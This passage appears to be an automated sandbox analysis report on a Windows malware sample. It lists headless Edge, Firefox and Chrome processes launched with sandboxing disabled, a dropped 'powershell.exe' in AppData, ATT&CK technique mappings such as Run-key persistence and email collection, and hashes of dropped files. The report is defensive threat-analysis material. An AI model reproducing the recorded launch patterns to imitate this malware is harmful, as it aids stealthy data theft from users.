      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3624,i,5768752262851956555,13057550027436587647,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:1
      4⤵
      PID:4740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3676,i,9408576679263879332,2295432338386064075,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:2
      4⤵
      PID:4736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3716,i,1129649974893086375,9614236527804758286,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:1
      4⤵
      PID:3324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3732,i,8681899593702244363,12560018903666337103,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:2
      4⤵
      PID:4884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3764,i,157082408155971131,16250172384503222419,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:1
      4⤵
      PID:3724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3788,i,16613337448654176946,9599250473304904983,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:2
      4⤵
      PID:5616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3824,i,14962575440905335388,18258581255068284787,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3932 /prefetch:1
      4⤵
      PID:3644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3848,i,8689716565288515324,18251606941858604479,2097152 --field-trial-handle=2212,i,2063270823838780869,14875030654066067507,262144 --variations-seed-version --mojo-platform-channel-handle=3976 /prefetch:2
      4⤵
      PID:2336
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0mzlyeb4.3v3"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5648
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\0mzlyeb4.3v3
      4⤵
      Checks processor information in registry
      PID:4136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4388
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffec0fec728,0x7ffec0fec734,0x7ffec0fec740
      4⤵
      PID:3684
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1688,i,3449614358669929011,4435497988867770740,262144 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=1920 /prefetch:2
      4⤵
      PID:5472
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --force-high-res-timeticks=disabled --metrics-shmem-handle=2012,i,2114323544279478798,8306085505823210478,524288 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3
      4⤵
      System Time Discovery
      PID:1124
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --force-high-res-timeticks=disabled --metrics-shmem-handle=2128,i,76806224102764414,7543033580207668579,524288 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:8
      4⤵
      PID:1608
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2868,i,2486551670558705680,4654817974645028739,2097152 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:1
      4⤵
      PID:3964
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2872,i,4637945817186566524,14901364932931603927,2097152 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:1
      4⤵
      PID:3396
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3108,i,2144438855073154204,14595099532474494917,2097152 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:1
      4⤵
      PID:4224
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3120,i,16690046068239589774,6130069405744945705,2097152 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=3220 /prefetch:2
      4⤵
      PID:5392
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3904,i,14939542067615855284,5024177981160775856,2097152 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=3824 /prefetch:2
      4⤵
      PID:5864
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4024,i,3891843672065908683,4147774857772472030,2097152 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:1
      4⤵
      PID:4356
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0obqevz4.ixk" --force-high-res-timeticks=disabled --metrics-shmem-handle=4244,i,13059114285469649083,11549424133889422511,524288 --field-trial-handle=1928,i,12455463671325492111,7801418943417273309,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:8
      4⤵
      PID:3220

C:\Users\Admin\AppData\Roaming\powershell.exe
C:\Users\Admin\AppData\Roaming\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 1KB
SHA256 d1eb6a3c533ae3d31630e391b3f33cb50e2a96571e7c9aa2782b08b5b4d41af1
MD5 e176c05fb69bca9850cd8c0437710e17
SHA1 93f39c7a3165e6975589c49ec8dfdf91afa1a5c5
SHA512 2ddd426b966aedbbd29af96e28c1ba2812dbe0946003113191e233ff2aaef57cd014a427f088ed7b7833c591d9d4a2ee82e498fdd41d51bb84bb0b8e7f17d52b
TLSH
T1E9318B8717AB00A76A8245628335AE912CA5F7B6174CF5502FB6910D7C08F3D9AEFC09
MD5 SHA1 SHA512 TLSH

Submit Download

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 1KB
SHA256 2d19346c6e51c3ff6ee3059bbadb70d005d719693cd7afbafabd892b427a694c
MD5 cd1df6f8eb7f0460711bda9f947e8529
SHA1 ed4741696ce5c5c71530f0052f699d0f0da279cf
SHA512 f050e55b8ae79beeac792a6f6f966aef0ae9af6bf7329ae35461d881ab43d72a163e9921f6793a6580085d26a015d8d6aaa0575070fc92cbef00e16fe17c7558
TLSH
T1EB315C9617AA00AB6AC2456283355F902C55B7B61A0CF5912BB6504D7C04F3E9EFFC09
MD5 SHA1 SHA512 TLSH

Submit Download

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 5KB
SHA256 995378345bb32a193b974fb350d6e6808c2c3f59cf5aec546b0afa1ddbb6b412
MD5 dbd6551c2e8ee5a18be77f3a32ed8d92
SHA1 abb08128a31b1c495252006c5571c2ad0f25063a
SHA512 ab4d2b855b77ad00bfa7bbc97bbc5078deb43914ddc21dbb8c678f327c5d50e37d55677873c9a7c8443ed6079df50ef9e688c6f7b0b66fa63e5f5c2850f6e18e
SSDEEP 96:oO0fr3qTg0H3UrU9zUVpO3qHlHWBH20RHKMW+9E00IlGQ9FlGQ9uoDcQrRLEfZz7:j0fraHUrqws3AMW+n0IlG+FlG+uoDcQS
TLSH
T10CC13083096B40AB66D24122C330EFA01C247B736A8DF9607BB9544D3914E3D6EEF80B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_5x5tra0e.2dy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5x5tra0e.2dy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5\Crashpad\settings.dat
Size 280B
SHA256 029779334db4a719ccbd45b830e6cb5f3cddb4db3a7f0468d3a6bcf9b1335389
MD5 9e40705f01ddad450a85662e5ce43393
SHA1 9890773adec164899d488d75ca2b85cd43f540a0
SHA512 ce7fb75bdb128fb3d8457ef23caef77f564616813a8ecf84251c0f5daa3a122063c4100fdffab9cf03f9d07b09c6200c0346fc4d741d220e7145bf314ea20010
TLSH
T11AD022F23FB03300E00CCFBA0830CF200F82E802202A3203B0E802F82C820020C0C038
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5\Local State
Size 5KB
SHA256 97ee669a491aab7eb284fde16b2a17e45d38b3fa65a98d195526211eb82ce57a
MD5 19ee25e69c66b386e0ac90c5dbdc1017
SHA1 0ca062c0c89d920a4a634060dffce97d922b844f
SHA512 fe6305c005133ba6b3e69175cc835dea7fe2e5835598693930f921418f1286efaaa79762e581a4f50ed34e56ad2778412fb98f0346a1b1bfea9d6c45afb67095
SSDEEP 96:7qGNk/QsFf877ziK58Frh/cInURoDotovY45DaBZPnvJz/8xACo0eUndDOqEba:eGN3pvzCooDUw/pKxh/8WCoqdQu
TLSH
T1CCB1D67264B5ED3319D6A545F8D922926EB861B7D8C0EF58EADC1F0C04DB3882706C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5\Local State
Size 4KB
SHA256 470f7392ada7abf359afbc08c33949d2f0442ecf8b6f7e03abc0d53e9cbeb724
MD5 1316bb48cd2574b3a9a2feb0eb3b4ae1
SHA1 e4875800ee673a8c3e2ecd60f08fc7861d6ad0ed
SHA512 9976e4d7b5ad3c7fe827dc04df94f50464b696fc3b5dfb1dbaf6850325d0ccd76496fdf41397a5284ad31ef5fb4d7a601592f43f51f35cf2352d0a6ae550a6ef
SSDEEP 96:7qGNkcsFf877ziK1NfDpBZPnvJz/8xACo0eUndDOqEba:eGNLpvzdRvxh/8WCoqdQu
TLSH
T1D691B4726865ED3325DA6585F4A926D34E38B5F7C981DF54FAC86B0804DB3882B0AC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State~RFe583803.TMP

Path C:\Users\Admin\AppData\Local\Temp\hola1dbv.dm5\Local State~RFe583803.TMP
Size 2KB
SHA256 2a7bb26e15bd517300e9036ec9a8e7e83f444c3cb2c766f87bd36d4636a12171
MD5 83061fbd299fd4649b72be707ccc226b
SHA1 345c48e10aa0ba870a893ee9b33691bd716e9d9a
SHA512 2a03ae53bd78a8af25e3340f70e323f7da0db6b626e402eb191667e11afa650ab034db8888c0a6fc76960054d2b6895434a2694b8be94881c89bb595178d2040
TLSH
T1DF414372A8B56E33B4875287D19D6A9B193496F481C18E607BDD6F1E06D728D020BC37
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Crashpad\settings.dat
Size 40B
SHA256 b4d4707356ce7b2b8c10af97a20667fa17afe37c4ec391d8152349a8eb86d360
MD5 06dd543b9672beee9cbe079cbc6868d4
SHA1 08e8d623313dd3d7abf637eddc786ab33afcdf42
SHA512 ed0362dad633bbc27f5c04c02c78a076457f9bb1d9a017be0b446150ed317487cf56e44c3cc2b2ffd41556013687d969dd217702bb5f567824417297090b0f54
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 1831be098428ec8d7713516d48587b74279baa6e0e871e8e4209b34242801ce9
MD5 91365250d4fbdda4b077b988dfa4e423
SHA1 e444cf843a8deb3fe8f23555ee1c24d1840f9cff
SHA512 6029a20874331b3c1cf81b57a522dc995ebfea7ab5a3fa8d95e5854df91023ab8bb3f2bd630e61057b3fa0d11b25ac8d0c8adf26485a5cb82345dc3afbc99630
SSDEEP 3:MsFlthltlluSKKD8Klikelle/Y4p4O/1VEgkcFp4o5Z2yEysC+elx//:/F85KDblikesFGc/uyyC+elx
TLSH
T174134C6E98C1FC17C7F914BD58C7777453A14A18C132537BF160B0536ED87D25294167
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 619d32fafe888b557fbe7e55ed2835ca52dcfd6d6547ca2ba9439782a6121709
MD5 4dee4a4e192678268762d768590af15b
SHA1 a2afabbc9a248750019f68eeef4134ef0c5ecb39
SHA512 996d78c6de3c22e491ebfce52ed10ba6b2a7683b2aad9eab83486a159b4fc4f5e2756e4725b3a79cf7f766e2bb9971270c85668ac92c73b702b3dc09ddf3b10f
SSDEEP 12:U/9/IfwApqp9iki6vpqp9i/OBpqp9iAZY/uknLpqp9iAHC:G6GJYGknoC
TLSH
T10644BEF73C00A15BCBB4A3F90110723C9D37820C6DEEDEEEF16809B38484F6664A48A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Cache\Cache_Data\index
Size 256KB
SHA256 dc47f055c43691e9bd6c43a165c9a92e4b99c4822a7ce17abf48529ef8348052
MD5 ab5bc6435976ccb1644680cd85b1637a
SHA1 c81bc4cf1f9715c58d4f9816d7cbaddda54554ba
SHA512 3e147db6887bf9804006c3d11a81cfb5888d8cec201d0e2768ffc87dd0b25f3b86fb75de51259530ddf5b3a5280cf10ae1f243e9727ea0c6adbb9c250276c655
SSDEEP 3:LsYllOlNllklkXldnEVKEl/Jll8njNtlmNtlwlNlXl:LsL3lPalukN
TLSH
T1F544023FD3D18C06CAD00B7CC4079B20172DC444C60FC387070826693DC17D00E0E040
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ba678a2fbd8c358c_0

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Code Cache\js\ba678a2fbd8c358c_0
Size 298B
SHA256 8c9cbcaa810cc6a6ed276fb437eb0bdb43e08193fdcc03f808df9db9c559fd55
MD5 2f191e679070947765f1b8d8ccb4fbd6
SHA1 c5bee6ac04d89e6077b86fcbe07e5db9113ba4e2
SHA512 aea408176e10b751222eae7f845759ad100bc3b6b1c62a60345a9cb66b826d302b6b4af4af08ef747e1bfa002465b82474a2c63f2fdea7e875c63a01bd7ac437
TLSH
T1E1E02B81C24C1F0DD32D96F7CEAA03448A0A42C42ABE7603A880D2C173224241249222
MD5 SHA1 SHA512 TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Code Cache\js\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 0099f85f4b13e735bd4dde2881202af6c59ca11251948d835292bcf0b4ad2fd7
MD5 75c3a9d1c675a2e7f8653c16e32c2aa4
SHA1 37afe6e839593829be87ae370cde1f9a707acd6f
SHA512 89651e9e1097afe30036c5bdefe9edc26fbd92167a58a2fceca88744870ce4c3ce0e15c47bf2007ce2465d90707f25cad81fd95e64bf97f0700170a74b401f13
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Code Cache\wasm\index-dir\the-real-index
Size 48B
SHA256 ff2517681c98a49a06b54192be30e838d75f28ed0ee7cfe10d39bdd96c925de3
MD5 5978b38b4d09582eecf14788059966c3
SHA1 4a3bc0c9df6ca7b06badeeb36c78b0e1d0cd6565
SHA512 4502ef411022be803077a2cdfba233fb2d02df49bfe6d5b18cd4f52f441ca35736f0d614e8fe6a473f854c8d36f935aa90b23af6a1a1d2b075239ff807da2d7b
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\DawnGraphiteCache\index
Size 256KB
SHA256 45792e6fa69a900d56c71083938c7c19cfe741783a276bcb5ef506c4fbdc9a4c
MD5 21eec42311615c40b906b60dc2d918f9
SHA1 4f5581746fa904eacc1a5ed886c8fd89782e4ed5
SHA512 e186278bc33878974a8f57a0be24dee7474b077e39ee985e7683bd03d1458232d0144d0cf3ad8272c7d607ef5cfce6f4e7fc5a610372fd5e78c52f152647fbb0
SSDEEP 3:LstlNllklkXlwEgX:LsX3lPwBX
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\DawnWebGPUCache\index
Size 256KB
SHA256 dabe2a5c208b760a1f4ae33de0dcab8e3e92a043146c614edc8337699e78bb9e
MD5 8327102fc5fe3adb15e3ceedfd61789c
SHA1 7ef684c21c80de6c4887eda8bbfd22318e1bb950
SHA512 c4bb3d8172b1ce991369ed1941b1a7536ca5ea0c811934bcfc2628b28df05cc50008dc988e713cd756e67751a54b4bf0589fe7ff8c907de3baaf596a4b39901e
SSDEEP 3:LstlNllklkXl31:LsX3lP31
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Extension Rules\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\Extension Scripts\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\o4rvg4dn.ghn\Default\GPUCache\index
Size 256KB
SHA256 6554878d1c0735f2ad335ba74f1782915ae1e4ba3913575cc91dbfadfe0c81c4
MD5 3728481625c13475b0633b2fbebe80c3
SHA1 f15bf121a82c33bbb678e31d9b99d594b66163a1
SHA512 70ff0f38d1771e54bf51349e04544083664a049e7ca86403568c5fa3a2ced355870e6a48966c4a7ce6bfbe2779a295fe51fd6474a6c2d0ed46ba9c7408f4feee
SSDEEP 3:LstlNllklkXlHF+X:LsX3lPHF+X
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

